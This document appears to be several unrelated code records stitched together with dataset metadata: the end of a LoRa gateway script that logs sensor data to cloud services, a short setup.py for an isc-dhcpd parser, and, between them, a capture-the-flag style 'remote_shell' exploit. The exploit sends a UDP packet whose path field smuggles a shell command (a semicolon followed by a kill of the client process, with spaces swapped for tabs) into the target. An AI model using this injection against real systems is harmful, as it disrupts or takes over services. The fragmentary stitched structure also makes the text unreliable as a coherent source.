_logGateway\n\t\t\t_logGateway = 1\t\n\n\t\telif opt in (\"-a\", \"--addr\"):\n\t\t\tglobal _gwaddr\n\t\t\t_gwaddr = arg\n\t\t\tprint(\"overwrite: will use _\"+str(_gwaddr)+\" for gateway and telemetry log files\")\n\t\t\t\n\t\telif opt in (\"--wappkey\"):\n\t\t\tglobal _wappkey\n\t\t\t_wappkey = 1\n\t\t\tglobal _validappkey\n\t\t\t_validappkey=0\n\t\t\tprint(\"will check for correct app key\")\n\n\t\telif opt in (\"--raw\"):\n\t\t\tglobal _rawFormat\n\t\t\t_rawFormat = 1\n\t\t\tprint(\"raw output from gateway. post_processing_gw will handle packet format\")\n\t\t\t\n\t\telif opt in (\"--aes\"):\n\t\t\tglobal _aes\n\t\t\t_aes = 1\n\t\t\tglobal AES\n\t\t\tfrom Crypto.Cipher import AES\n\t\t\tprint(\"enable AES encrypted data\")\n\t\t\t\t\t\t\n\t\telif opt in (\"-m\", \"--mongodb\"):\n\t\t\tprint(\"will enable local MongoDB support, max months to store is \"+arg)\n\t\t\tglobal _mongodb\n\t\t\t_mongodb = True\n\t\t\t\n\t\t\tglobal add_document, remove_if_new_month, mongodb_set_max_months\n\t\t\tfrom MongoDB import add_document, remove_if_new_month, mongodb_set_max_months\n\t\t\t#setting max months\n\t\t\tmongodb_set_max_months(int(arg))\n\n# END\n#////////////////////////////////////////////////////////////\t\t\t\n\t\t\t\t\t\nif __name__ == \"__main__\":\n\tmain(sys.argv[1:])\n\n#gateway dht22\nif (_gw_dht22):\n\tprint \"Starting thread to measure gateway temperature\"\n\tt = threading.Thread(target=dht22_target)\n\tt.daemon = True\n\tt.start()\n\nprint \"Current working directory: \"+os.getcwd()\n\nwhile True:\n\n\tsys.stdout.flush()\n \tch = getSingleChar()\n\n#expected prefixes\n#\t^p \tindicates a ctrl pkt info ^pdst(%d),ptype(%d),src(%d),seq(%d),len(%d),SNR(%d),RSSI=(%d) for the last received packet\n#\t\texample: ^p1,16,3,0,234,8,-45\n#\n#\t^r\tindicate a ctrl radio info ^rbw,cr,sf for the last received packet\n#\t\texample: ^r500,5,12\n#\n#\t^$\tindicates an output (debug or log purposes) from the gateway that should be logged in the (Dropbox) gateway.log file \n#\t\texample: ^$Set LoRa mode 4\n#\n#\t^l\tindicates a ctrl LAS info ^lsrc(%d),type(%d)\n#\t\ttype is 1 for DSP_REG, 2 for DSP_INIT, 3 for DSP_UPDT, 4 for DSP_DATA \n#\t\texample: ^l3,4\n#\n#\t\\$\tindicates a message that should be logged in the (Dropbox) telemetry.log file\n#\t\texample: \\$hello -> \thello will be logged in the following format\n#\t\t\t\t\t(src=3 seq=0 len=6 SNR=8 RSSI=-54) 2015-10-16T14:47:44.072230> hello \n#\n#\t\\&\tindicates a message that should be logged in the firebase cloud database\n#\t\texample: \\&hello ->\thello will be logged in json format\n#\n#\t\\!\tindicates a message that should be logged on a thingspeak channel\n#\t\texample: \\!SGSH52UGPVAUYG3S#9.4 ->\t9.4 will be logged in the SGSH52UGPVAUYG3S ThingSpeak channel at default field, i.e. field 1\n#\t\t\t\t \\!2#9.4 -> 9.4 will be logged in the default channel at field 2\n#\t\t\t\t \\!SGSH52UGPVAUYG3S#2#9.4 -> 9.4 will be logged in the SGSH52UGPVAUYG3S ThingSpeak channel at field 2\n#\n#\t\tyou can log other information such as src, seq, len, SNR and RSSI on specific fields\n#\n#\t\\xFF\\xFE\t\tindicates radio data prefix\n#\n#\n\n#------------------------------------------------------------\n# '^' is reserved for control information from the gateway\n#------------------------------------------------------------\n\n\tif (ch=='^'):\n\t\tnow = datetime.datetime.utcnow()\n\t\tch=sys.stdin.read(1)\n\t\t\n\t\tif (ch=='p'):\t\t\n\t\t\tdata = sys.stdin.readline()\n\t\t\tprint now.isoformat()\n\t\t\tprint \"rcv ctrl pkt info (^p): \"+data,\n\t\t\tarr = map(int,data.split(','))\n\t\t\tprint \"splitted in: \",\n\t\t\tprint arr\n\t\t\tdst=arr[0]\n\t\t\tptype=arr[1]\n\t\t\tptypestr=\"N/A\"\n\t\t\tif ((ptype & 0xF0)==PKT_TYPE_DATA):\n\t\t\t\tptypestr=\"DATA\"\n\t\t\t\tif (ptype & PKT_FLAG_DATA_ISBINARY)==PKT_FLAG_DATA_ISBINARY:\n\t\t\t\t\tptypestr = ptypestr + \" IS_BINARY\"\n\t\t\t\tif (ptype & PKT_FLAG_DATA_WAPPKEY)==PKT_FLAG_DATA_WAPPKEY:\n\t\t\t\t\tptypestr = ptypestr + \" WAPPKEY\"\n\t\t\t\tif (ptype & PKT_FLAG_DATA_ENCRYPTED)==PKT_FLAG_DATA_ENCRYPTED:\n\t\t\t\t\tptypestr = ptypestr + \" ENCRYPTED\"\n\t\t\t\tif (ptype & PKT_FLAG_ACK_REQ)==PKT_FLAG_ACK_REQ:\n\t\t\t\t\tptypestr = ptypestr + \" ACK_REQ\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\tif ((ptype & 0xF0)==PKT_TYPE_ACK):\n\t\t\t\tptypestr=\"ACK\"\t\t\t\t\t\n\t\t\tsrc=arr[2]\n\t\t\tseq=arr[3]\n\t\t\tdatalen=arr[4]\n\t\t\tSNR=arr[5]\n\t\t\tRSSI=arr[6]\n\t\t\tif (_rawFormat==0):\t\n\t\t\t\tinfo_str=\"(dst=%d type=0x%.2X(%s) src=%d seq=%d len=%d SNR=%d RSSI=%d)\" % (dst,ptype,ptypestr,src,seq,datalen,SNR,RSSI)\n\t\t\telse:\n\t\t\t\tinfo_str=\"rawFormat(len=%d SNR=%d RSSI=%d)\" % (datalen,SNR,RSSI)\t\n\t\t\tprint info_str\n\t\t\t# TODO: maintain statistics from received messages and periodically add these informations in the gateway.log file\n\n\t\tif (ch=='r'):\t\t\n\t\t\tdata = sys.stdin.readline()\n\t\t\tprint \"rcv ctrl radio info (^r): \"+data,\n\t\t\tarr = map(int,data.split(','))\n\t\t\tprint \"splitted in: \",\n\t\t\tprint arr\n\t\t\tbw=arr[0]\n\t\t\tcr=arr[1]\n\t\t\tsf=arr[2]\n\t\t\tinfo_str=\"(BW=%d CR=%d SF=%d)\" % (bw,cr,sf)\n\t\t\tprint info_str\n\n\t\tif (ch=='t'):\n\t\t\trcv_timestamp = sys.stdin.readline()\n\t\t\tprint \"rcv timestamp (^t): \"+rcv_timestamp\n\t\t\t\t\t\t\t\t\t\n\t\tif (ch=='l'):\n\t\t\t# TODO: LAS service\t\n\t\t\tprint 'not implemented yet'\n\t\t\t\n\t\tif (ch=='$' and _logGateway==1):\n\t\t\tdata = sys.stdin.readline()\n\t\t\tprint \"rcv gw output to log (^$): \"+data,\n\t\t\tf=open(os.path.expanduser(_gwlog_filename),\"a\")\n\t\t\tf.write(now.isoformat()+'> ')\n\t\t\tf.write(data)\n\t\t\tf.close()\t\t\t\t\t\n\t\tcontinue\n\n\n#------------------------------------------------------------\n# '\\' is reserved for message logging service\n#------------------------------------------------------------\n\n\tif (ch=='\\\\'):\n\t\tnow = datetime.datetime.utcnow()\n\t\t\n\t\tif _validappkey==1:\n\n\t\t\tprint 'valid app key: accept data'\n\t\t\t\t\t\n\t\t\tch=getSingleChar()\t\t\t\n\t\t\t\t\t\n\t\t\tif (ch=='$'): #log on Dropbox\n\t\t\t\t\n\t\t\t\tdata = getAllLine()\n\t\t\t\t\n\t\t\t\tprint \"rcv msg to log (\\$) on dropbox: \"+data,\n\t\t\t\tf=open(os.path.expanduser(_telemetrylog_filename),\"a\")\n\t\t\t\tf.write(info_str+' ')\t\n\t\t\t\tf.write(now.isoformat()+'> ')\n\t\t\t\tf.write(data)\n\t\t\t\tf.close()\t\n\n\t\t\t#/////////////////////////////////////////////////////////////\n\t\t\t# YOU CAN MODIFY HERE HOW YOU WANT DATA TO BE PUSHED TO CLOUDS\n\t\t\t# WE PROVIDE EXAMPLES FOR THINGSPEAK, GROVESTREAM\n\t\t\t# IT IS ADVISED TO USE A SEPERATE PYTHON SCRIPT PER CLOUD\n\t\t\t#////////////////////////////////////////////////////////////\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\telif (ch=='&' and _firebase): #log on Firebase\n\t\t\t\t\n\t\t\t\tldata = getAllLine()\n\t\t\t\t\n\t\t\t\tprint 'rcv msg to log (\\&) on firebase: '+data\n\t\t\t\tfirebase_msg = {\n\t\t\t\t\t'dst':dst,\n\t\t\t\t\t'type':ptypestr,\n\t\t\t\t\t'gateway_eui' : _gwaddr,\t\t\t\t\t\n\t\t\t\t\t'node_eui':src,\n\t\t\t\t\t'seq':seq,\n\t\t\t\t\t'len':datalen,\n\t\t\t\t\t'snr':SNR,\n\t\t\t\t\t'rssi':RSSI,\n\t\t\t\t\t'cr' : cr, \n\t\t\t\t\t'datarate' : \"SF\"+str(sf)+\"BW\"+str(bw),\n\t\t\t\t\t'time':now.isoformat(),\n\t\t\t\t\t'info_str':info_str+' '+now.isoformat()+'> '+ldata,\t\t\t\t\t\n\t\t\t\t\t'data':ldata\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif _mongodb :\n\t\t\t\t\t#------------------\n\t\t\t\t\t#saving in MongoDB\n\t\t\t\t\t#------------------\n\t\t\t\t\t\n\t\t\t\t\t#get the data\n\t\t\t\t\tdata = ldata.split('/')\n\t\t\t\t\n\t\t\t\t\t#change data in two arrays : nomenclature_array and value_array\n\t\t\t\t\titeration = 0\n\t\t\t\t\tnomenclature_array = []\n\t\t\t\t\tvalue_array = []\n\t\t\t\t\twhile iteration<len(data) :\n\t\t\t\t\t\tif (iteration == 0 or iteration%2 == 0) :\n\t\t\t\t\t\t \tnomenclature_array.append(data[iteration])\n\t\t\t\t\t\telse :\n\t\t\t\t\t\t \tvalue_array.append(data[iteration])\n\t\t\t\t\t\t \t\n\t\t\t\t\t\titeration += 1\n\t\t\t\t\n\t\t\t\t\t#check if new month\n\t\t\t\t\tremove_if_new_month(now)\n\t\t\t\t\n\t\t\t\t\tprint(\"MongoDB: saving the document in the collection...\")\n\t\t\t\t\n\t\t\t\t\t#saving data in a JSON var\n\t\t\t\t\tstr_json_data = \"{\"\n\t\t\t\t\titeration = 0\n\t\t\t\t\twhile iteration < len(nomenclature_array) :\n\t\t\t\t\t\t#last iteration, do not add \",\" at the end\n\t\t\t\t\t\tif iteration == len(nomenclature_array)-1 :\n\t\t\t\t\t\t\tstr_json_data += \"\\\"\"+nomenclature_array[iteration]+\"\\\" : \"+value_array[iteration]\n\t\t\t\t\t\telse :\n\t\t\t\t\t\t\tstr_json_data += \"\\\"\"+nomenclature_array[iteration]+\"\\\" : \"+value_array[iteration]+\", \"\n\t\t\t\t\t\titeration += 1\n\t\t\t\t\tstr_json_data += \"}\"\n\t\t\t\t\n\t\t\t\t\t#creating document to add\n\t\t\t\t\tdoc = {\n\t\t\t\t\t\t\"type\" : ptypestr,\n\t\t\t\t\t\t\"gateway_eui\" : _gwaddr, \n\t\t\t\t\t\t\"node_eui\" : src,\n\t\t\t\t\t\t\"snr\" : SNR, \n\t\t\t\t\t\t\"rssi\" : RSSI, \n\t\t\t\t\t\t\"cr\" : cr, \n\t\t\t\t\t\t\"datarate\" : \"SF\"+str(sf)+\"BW\"+str(bw), \n\t\t\t\t\t\t\"time\" : now,\n\t\t\t\t\t\t\"data\" : json.dumps(json.loads(str_json_data))\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\t#adding the document\n\t\t\t\t\tadd_document(doc)\n\t\t\t\t\n\t\t\t\t\tprint(\"MongoDB: saving done\")\n\t\t\t\t\n\t\t\t\tsensor_entry='sensor%d'% (src)\n\t\t\t\tmsg_entry='msg%d' % (seq)\t\n\t\t\t\t\n\t\t\t\t#upload data to firebase\n\t\t\t\tfirebase_uploadSingleData(firebase_msg, sensor_entry, msg_entry, now)\n\t\t\t\t\n\t\t\telif (ch=='!'): #log on thingspeak, grovestreams, sensorcloud and connectingnature\n\t\n\t\t\t\tldata = getAllLine()\n\t\t\t\t\n\t\t\t\t# get number of '#' separator\n\t\t\t\tnsharp = ldata.count('#')\t\t\t\n\t\t\t\t#no separator\n\t\t\t\tif nsharp==0:\n\t\t\t\t\t#will use default channel and field\n\t\t\t\t\tdata=['','']\n\t\t\t\t\t\n\t\t\t\t\t#contains ['', '', \"s1\", s1value, \"s2\", s2value, ...]\n\t\t\t\t\tdata_array = data + re.split(\"/\", ldata)\t\t\n\t\t\t\telif nsharp==1:\n\t\t\t\t\t#only 1 separator\n\t\t\t\t\t\n\t\t\t\t\tdata_array = re.split(\"#|/\", ldata)\n\t\t\t\t\t\n\t\t\t\t\t#if the first item has length > 1 then we assume that it is a channel write key\n\t\t\t\t\tif len(data_array[0])>1:\n\t\t\t\t\t\t#insert '' to indicate default field\n\t\t\t\t\t\tdata_array.insert(1,'');\t\t\n\t\t\t\t\telse:\n\t\t\t\t\t\t#insert '' to indicate default channel\n\t\t\t\t\t\tdata_array.insert(0,'');\t\t\n\t\t\t\telse:\n\t\t\t\t\t#contains [channel, field, \"s1\", s1value, \"s2\", s2value, ...]\n\t\t\t\t\tdata_array = re.split(\"#|/\", ldata)\t\n\t\t\t\t\t\n\t\t\t\t#just in case we have an ending CR or 0\n\t\t\t\tdata_array[len(data_array)-1] = data_array[len(data_array)-1].replace('\\n', '')\n\t\t\t\tdata_array[len(data_array)-1] = data_array[len(data_array)-1].replace('\\0', '')\t\n\t\t\t\t\n\t\t\t\t#test if there are characters at the end of each value, then delete these characters\n\t\t\t\ti = 3\n\t\t\t\twhile i < len(data_array) :\n\t\t\t\t\twhile not data_array[i][len(data_array[i])-1].isdigit() :\n\t\t\t\t\t\tdata_array[i] = data_array[i][:-1]\n\t\t\t\t\ti += 2\n\t\t\t\t\n\t\t\t\tif _mongodb :\t\n\t\t\t\t\t#------------------\n\t\t\t\t\t#saving in MongoDB\n\t\t\t\t\t#------------------\n\t\t\t\t\n\t\t\t\t\t#check if new month\n\t\t\t\t\tremove_if_new_month(now)\n\t\t\t\t\n\t\t\t\t\tprint(\"MongoDB: saving the document in the collection...\")\n\t\t\t\t\t\n\t\t\t\t\t#saving data in a JSON var\n\t\t\t\t\tstr_json_data = \"{\"\n\t\t\t\t\t#start from the first nomenclature\n\t\t\t\t\titeration = 2\n\t\t\t\t\twhile iteration < len(data_array)-1 :\n\t\t\t\t\t\t#last iteration, do not add \",\" at the end\n\t\t\t\t\t\tif iteration == len(data_array)-2 :\n\t\t\t\t\t\t\tstr_json_data += \"\\\"\"+data_array[iteration]+\"\\\" : \"+data_array[iteration+1]\n\t\t\t\t\t\telse :\n\t\t\t\t\t\t\tstr_json_data += \"\\\"\"+data_array[iteration]+\"\\\" : \"+data_array[iteration+1]+\", \"\n\t\t\t\t\t\titeration += 2\n\t\t\t\t\tstr_json_data += \"}\"\n\t\t\t\t\n\t\t\t\t\t#creating document to add\n\t\t\t\t\tdoc = {\n\t\t\t\t\t\t\"type\" : ptypestr,\n\t\t\t\t\t\t\"gateway_eui\" : _gwaddr, \n\t\t\t\t\t\t\"node_eui\" : src,\n\t\t\t\t\t\t\"snr\" : SNR, \n\t\t\t\t\t\t\"rssi\" : RSSI, \n\t\t\t\t\t\t\"cr\" : cr, \n\t\t\t\t\t\t\"datarate\" : \"SF\"+str(sf)+\"BW\"+str(bw),\n\t\t\t\t\t\t\"time\" : now,\n\t\t\t\t\t\t\"data\" : json.dumps(json.loads(str_json_data))\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\t#adding the document\n\t\t\t\t\tadd_document(doc)\n\t\t\t\t\n\t\t\t\t\tprint(\"MongoDB: saving done\")\n\n\t\t\t\t# get number of '/' separator\n\t\t\t\tnslash = ldata.count('/')\n\t\t\t\t\n\t\t\t\tindex_first_data = 2\n\t\t\t\t\n\t\t\t\tif nslash==0:\n\t\t\t\t\t# old syntax without nomenclature key\n\t\t\t\t\tindex_first_data=2\n\t\t\t\telse:\n\t\t\t\t\t# new syntax with nomenclature key\t\t\t\t\n\t\t\t\t\tindex_first_data=3\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t#------------------\n\t\t\t\t#test for thingspeak\n\t\t\t\t#------------------\t\t\t\t \n\t\t\t\tif (_thingspeak):\n\t\t\t\t\t\t\n\t\t\t\t\tsecond_data=str(seq)\n\t\t\t\t\n\t\t\t\t\tif (_thingspeaksnr):\n\t\t\t\t\t\tsecond_data=str(SNR)\n\t\t\t\t\t\n\t\t\t\t\t#data to send to thingspeak\n\t\t\t\t\tdata = []\n\t\t\t\t\tdata.append(data_array[0]) #channel (if '' default)\n\t\t\t\t\tdata.append(data_array[1]) #field (if '' default)\t\t\n\t\t\t\t\t\n\t\t\t\t\tdata.append(data_array[index_first_data]) #value to add (the first sensor value in data_array)\n\t\t\t\t\t\n\t\t\t\t\t#upload data to thingspeak\n\t\t\t\t\t#JUST FOR UPLOAD A SINGLE DATA IN A SPECIFIC FIELD AND SECOND DATA\t\t\t\t\t\n\t\t\t\t\tthingspeak_uploadSingleData(data, second_data) \n\n\t\t\t\t\t# if you want to upload all data starting at field 1, uncomment next line, and comment previous line\n\t\t\t\t\t#thingspeak_uploadMultipleData(data_array) # upload all data in the fields\n\t\t\t\n\t\t\t\t#------------------\n\t\t\t\t#test for FIWARE \n\t\t\t\t#need FIWARE access\n\t\t\t\t#------------------\t\t\t\t \n\t\t\t\tif (_fiware):\n\t\t\t\t\tprint(\"FIWARE: upload\")\n\t\t\t\t\t#entity_id = 'test_item_'+now.isoformat()\n\t\t\t\t\tentity_id = 'sensor%d'% (src)\n\t\t\t\t\t#send the first sensor value in data_array\n\t\t\t\t\tcmd = 'python ./fiware_UpdateEntityAttribute.py '+entity_id+' test temperature float '+data_array[index_first_data]\n\t\t\t\t\n\t\t\t\t\tprint(\"FiWare: will issue python script\")\n\t\t\t\t\tprint(cmd)\n\t\t\t\t\targs = cmd.split()\n\t\t\t\t\ttry:\n\t\t\t\t\t\tout = subprocess.check_output(args, shell=False)\n\t\t\t\t\texcept subprocess.CalledProcessError:\n\t\t\t\t\t\tprint(\"FiWare: python script failed\")\n\t \t\t\t\n\t\t\t\t\tif out.find('\"reasonPhrase\" : \"OK\"') > 0:\n\t\t\t\t\t\tprint(\"FiWare: Entity updated with ENTITY_ID \"+entity_id)\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint(\"FiWare: Entity update failed\")\n\n\t\t\t\t#------------------\n\t\t\t\t#test for sensorcloud \n\t\t\t\t#------------------\n\t\t\t\tif (_sensorcloud) :\n\t\t\t\t\t#send the first sensor value in data_array\n\t\t\t\t\tsensorcloud_uploadSingleData(data_array[index_first_data])\n\n\t\t\t\t#------------------\n\t\t\t\t#test for grovestreams \n\t\t\t\t#------------------\t\t\t\t \n\t\t\t\tif (_grovestreams):\n\t\t\t\t\n\t\t\t\t\tnomenclatures = []\n\t\t\t\t\tdata = []\n\t\t\t\t\t\n\t\t\t\t\tif nslash==0:\n\t\t\t\t\t\t# old syntax without nomemclature key, so insert only one key\n\t\t\t\t\t\tnomenclatures.append(\"temp\")\n\t\t\t\t\t\tdata.append(data_array[index_first_data])\n\t\t\t\t\telse:\n\t\t\t\t\t\t#completing nomenclatures and data\n\t\t\t\t\t\ti=2\n\t\t\t\t\t\twhile i < len(data_array)-1 :\n\t\t\t\t\t\t\tnomenclatures.append(data_array[i])\n\t\t\t\t\t\t\tdata.append(data_array[i+1])\n\t\t\t\t\t\t\ti += 2\n\t\t\t\t\t\n\t\t\t\t\t#upload data to grovestreams\n\t\t\t\t\tgrovestreams_uploadSingleData(nomenclatures, data, str(src))\n\t\t\t\t\t\n\n\t\t\t# END\n\t\t\t#////////////////////////////////////////////////////////////\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\telse: # not a known data logging prefix\n\t\t\t\t#you may want to upload to a default service\n\t\t\t\t#so just implement it here\n\t\t\t\tprint('unrecognized data logging prefix: discard data')\n\t\t\t\tgetAllLine() \n\t\t\t\t\t\n\t\telse:\n\t\t\tprint('invalid app key: discard data')\n\t\t\tgetAllLine()\n\n\t\tcontinue\n\t\n\t# handle binary prefixes\n\tif (ch == '\\xFF' or ch == '+'):\n\t#if (ch == '\\xFF'):\n\t\n\t\tprint(\"got first framing byte\")\n\t\tch=getSingleChar()\t\n\t\t\n\t\t# data prefix for non-encrypted data\n\t\tif (ch == '\\xFE' or ch == '+'):\t\t\t\n\t\t#if (ch == '\\xFE'):\n\t\t\t#the data prefix is inserted by the gateway\n\t\t\t#do not modify, unless you know what you are doing and that you modify lora_gateway (comment WITH_DATA_PREFIX)\n\t\t\tprint(\"--> got data prefix\")\n\t\t\t\n\t\t\t#we actually need to use DATA_PREFIX in order to differentiate data from radio coming to the post-processing stage\n\t\t\t#if _wappkey is set then we have to first indicate that _validappkey=0\n\t\t\tif (_wappkey==1):\n\t\t\t\t_validappkey=0\n\t\t\telse:\n\t\t\t\t_validappkey=1\t\n\n\t\t\t# if we have raw output from gw, then try to determine which kind of packet it is\n\t\t\tif (_rawFormat==1):\n\t\t\t\tch=getSingleChar()\n\t\t\t\t\n\t\t\t\t# probably our modified Libelium header where the destination is the gateway\n\t\t\t\t# dissect our modified Libelium format\n\t\t\t\tif ch==1:\t\t\t\n\t\t\t\t\tdst=ord(ch)\n\t\t\t\t\tptype=ord(getSingleChar())\n\t\t\t\t\tsrc=ord(getSingleChar())\n\t\t\t\t\tseq=ord(getSingleChar())\n\t\t\t\t\tprint(\"Libelium[dst=%d ptype=0x%.2X src=%d seq=%d]\" % (dst,ptype,src,seq))\n\t\t\t\t\t# now we read datalen-4 (the header length) bytes in our line buffer\n\t\t\t\t\tfillLinebuf(datalen-HEADER_SIZE)\t\t\t\t\n\t\t\t\t\n\t\t\t\t# TODO: dissect LoRaWAN\n\t\t\t\t# you can implement LoRaWAN decoding if this is necessary for your system\n\t\t\t\t# look at the LoRaWAN packet format specification to dissect the packet in detail\n\t\t\t\t# \n\t\t\t\t# LoRaWAN uses the MHDR(1B)\n\t\t\t\t# ----------------------------\n\t\t\t\t# | 7 6 5 | 4 3 2 | 1 0 |\n\t\t\t\t# ----------------------------\n\t\t\t\t# MType RFU major\n\t\t\t\t#\n\t\t\t\t# the main MType is unconfirmed data up which value is 010\n\t\t\t\tif (ch & 0x40)==0x40:\n\t\t\t\t\t# Do the LoRaWAN decoding\n\t\t\t\t\tprint(\"LoRaWAN?\")\n\t\t\t\t\t# for the moment just discard the data\n\t\t\t\t\tfillLinebuf(datalen-1)\n\t\t\t\t\tgetAllLine()\n\t\t\telse:\t\t\t\t\t\t\t\t\n\t\t\t\t# now we read datalen bytes in our line buffer\n\t\t\t\tfillLinebuf(datalen)\t\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t# encrypted data payload?\n\t\t\tif ((ptype & PKT_FLAG_DATA_ENCRYPTED)==PKT_FLAG_DATA_ENCRYPTED):\n\t\t\t\tprint(\"--> DATA encrypted: encrypted payload size is %d\" % datalen)\n\t\t\t\t\n\t\t\t\t_hasClearData=0\n\t\t\t\t\n\t\t\t\tif _aes==1:\n\t\t\t\t\tprint(\"--> decrypting\")\n\t\t\t\t\t\n\t\t\t\t\tdecrypt_handler = AES.new(aes_key, AES.MODE_CBC, aes_iv)\n\t\t\t\t\t# decrypt \n\t\t\t\t\ts = decrypt_handler.decrypt(_linebuf)\n\t\t\t\t\t\n\t\t\t\t\tfor i in range(0, len(s)):\n\t\t\t\t\t\tprint \"%.2X \" % ord(s[i]),\n\t\t\t\t\t\n\t\t\t\t\tprint \"\\nEnd\"\n\t\t\t\t\t\t\n\t\t\t\t\t# get the real (decrypted) payload size\n\t\t\t\t\trsize = ord(s[APPKEY_SIZE])\n\t\t\t\t\t\n\t\t\t\t\tprint(\"--> real payload size is %d\" % rsize)\n\t\t\t\t\t\n\t\t\t\t\t# then add the appkey + the appkey framing bytes\n\t\t\t\t\trsize = rsize+APPKEY_SIZE+1\n\t\t\t\t\t\n\t\t\t\t\t_linebuf = s[:APPKEY_SIZE] + s[APPKEY_SIZE+1:rsize]\n\t\t\t\t\t\n\t\t\t\t\tfor i in range(0, len(_linebuf)):\n\t\t\t\t\t\tprint \"%.2X \" % ord(_linebuf[i]),\n\t\t\t\t\t\n\t\t\t\t\tprint \"\\nEnd\"\n\t\t\t\t\t\t\n\t\t\t\t\t# normally next read from input will get data from the decrypted _linebuf\n\t\t\t\t\tprint \"--> decrypted payload is: \",\n\t\t\t\t\tprint _linebuf[APPKEY_SIZE:]\n\t\t\t\t\t\n\t\t\t\t\t_hasClearData=1\n\t\t\t\telse:\n\t\t\t\t\tprint(\"--> DATA encrypted: aes not activated\")\n\t\t\t\t\t# drain stdin of all the encrypted data\n\t\t\t\t\tenc_data=getAllLine()\n\t\t\t\t\tprint(\"--> discard encrypted data\")\n\t\t\telse:\n\t\t\t\t_hasClearData=1\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t# with_appkey?\n\t\t\tif ((ptype & PKT_FLAG_DATA_WAPPKEY)==PKT_FLAG_DATA_WAPPKEY and _hasClearData==1): \n\t\t\t\tprint(\"--> DATA with_appkey: read app key sequence\")\n\t\t\t\t\n\t\t\t\tthe_app_key = getSingleChar()\n\t\t\t\tthe_app_key = the_app_key + getSingleChar()\n\t\t\t\tthe_app_key = the_app_key + getSingleChar()\n\t\t\t\tthe_app_key = the_app_key + getSingleChar()\n\t\t\t\t\n\t\t\t\tprint \"app key is \",\n\t\t\t\tprint \" \".join(\"0x{:02x}\".format(ord(c)) for c in the_app_key)\n\t\t\t\t\n\t\t\t\tif the_app_key in app_key_list:\n\t\t\t\t\tprint(\"in app key list\")\n\t\t\t\t\tif _wappkey==1:\n\t\t\t\t\t\t_validappkey=1\n\t\t\t\telse:\t\t\n\t\t\t\t\tprint(\"not in app key list\")\n\t\t\t\t\tif _wappkey==1:\n\t\t\t\t\t\t_validappkey=0\n\t\t\t\t\telse:\t\n\t\t\t\t\t\t#we do not check for app key\n\t\t\t\t\t\t_validappkey=1\n\t\t\t\t\t\tprint(\"but app key disabled\")\t\t\t\t\n\t\t\t\t\n\t\t\tcontinue\n\t\t\t\n\tif (ch == '?' and _ignoreComment==1):\n\t\tsys.stdin.readline()\n\t\tcontinue\n\t\n\tsys.stdout.write(ch)\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
#!/usr/bin/python import os from base_exploit import * from reporter import * from netfw import * import sys class remote_shell(base_exploit): id = EXPLOIT_ID_REMOTE_SHELL def exploit(self, ip, port): # Create a connection to requested destination s = socket(AF_INET, SOCK_DGRAM) s.connect((ip, port)) # Change script's working directory to this dir abspath = os.path.abspath(__file__) dname = os.path.dirname(abspath) os.chdir(dname) # Read the payload payload = " " # Path to override #path = "somefile;kill `pidof client | tr \" \" \\\\\\\\n | head -n 1`".replace(" ", "\t") path = "somefile;kill `pidof -s client`".replace(" ", "\t") # Create the malicious packet pkt = ProtocolHandleUpper(path, payload) # Fragment the packets and send FragmentedPacket(pkt).send(s) if __name__ == "__main__": if (len(sys.argv) != 3): print "RemoteShell exploit" print "Usage: %s <ip> <Wrapper RECV port>" % (sys.argv[0]) exit(0) exp = remote_shell(TEAM_CONFIG_DEBUG) score = exp.run() print "exploit returned score %s" % score
normal
{ "blob_id": "f19e853af675c16dfbb911bf2b756de0f1e3f2f8", "index": 7189, "step-1": "#!/usr/bin/python\n\nimport os\nfrom base_exploit import *\nfrom reporter import *\nfrom netfw import *\nimport sys\n\nclass remote_shell(base_exploit):\n id = EXPLOIT_ID_REMOTE_SHELL\n\n def exploit(self, ip, port):\n # Create a connection to requested destination\n s = socket(AF_INET, SOCK_DGRAM)\n s.connect((ip, port))\n\n # Change script's working directory to this dir\n abspath = os.path.abspath(__file__)\n dname = os.path.dirname(abspath)\n os.chdir(dname)\n\n # Read the payload\n payload = \" \"\n\n # Path to override\n #path = \"somefile;kill `pidof client | tr \\\" \\\" \\\\\\\\\\\\\\\\n | head -n 1`\".replace(\" \", \"\\t\")\n path = \"somefile;kill `pidof -s client`\".replace(\" \", \"\\t\")\n\n # Create the malicious packet\n pkt = ProtocolHandleUpper(path, payload)\n\n # Fragment the packets and send\n FragmentedPacket(pkt).send(s)\n\nif __name__ == \"__main__\":\n if (len(sys.argv) != 3):\n print \"RemoteShell exploit\"\n print \"Usage: %s <ip> <Wrapper RECV port>\" % (sys.argv[0])\n exit(0)\n\n exp = remote_shell(TEAM_CONFIG_DEBUG)\n score = exp.run()\n print \"exploit returned score %s\" % score\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
#!/usr/bin/python # Always prefer setuptools over distutils from setuptools import setup, find_packages setup( name="isc-dhcpd-parser", version="0.1", description="Parser for isc-dhcp config files (dhcpd.conf)", author="Pavel Podkorytov", author_email="[email protected]", classifiers=[ "Development Status :: 3 - Alpha", "Programming Language :: Python :: 2", "Programming Language :: Python :: 3", ], packages=find_packages(), scripts=["bin/isc_dhcpd_leases.py"], install_requires=["ply"], )
normal
